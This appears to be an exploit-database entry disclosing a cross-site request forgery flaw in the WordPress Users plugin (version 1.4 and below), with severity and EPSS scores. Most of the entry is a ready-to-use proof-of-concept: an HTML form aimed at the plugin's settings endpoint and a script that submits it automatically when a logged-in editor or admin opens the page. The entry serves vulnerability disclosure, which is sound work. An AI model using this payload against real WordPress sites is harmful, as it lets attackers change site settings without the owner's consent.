Lucene search

K
wpexploitDaniel RufWPEX-ID:A0CA68D3-F885-46C9-9F6B-B77AD387D25D
HistoryJan 03, 2024 - 12:00 a.m.

WordPress Users <= 1.4 - Settings Update via CSRF

2024-01-0300:00:00
Daniel Ruf
39
html form
csrf attack
wordpress security

9.4 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

24.3%

Description The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack.

Create an HTML with the following and open it when logged in as an Editor or above:

<form action="https://example.com/wp-admin/options-general.php?page=wordpress-users/wp-users.php" method="POST">
    <input type="text" name="wpu_hidden" value="Y">
    <input type="text" name="wpu_page_id" value="1">
    <input type="text" name="wpu_users_per" value="10">
    <input type="text" name="wpu_roles_admin" value="yes">
    <input type="text" name="wpu_description_limit" value="">
    <input type="text" name="wpu_avatars" value="gravatars">
    <input type="text" name="wpu_gravatar_type" value="">
    <input type="text" name="wpu_gravatar_size" value="">
    <input type="text" name="Submit" value="Update Options">
</form>
<script>
    document.forms[0].submit();
</script>

9.4 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

24.3%

Related for WPEX-ID:A0CA68D3-F885-46C9-9F6B-B77AD387D25D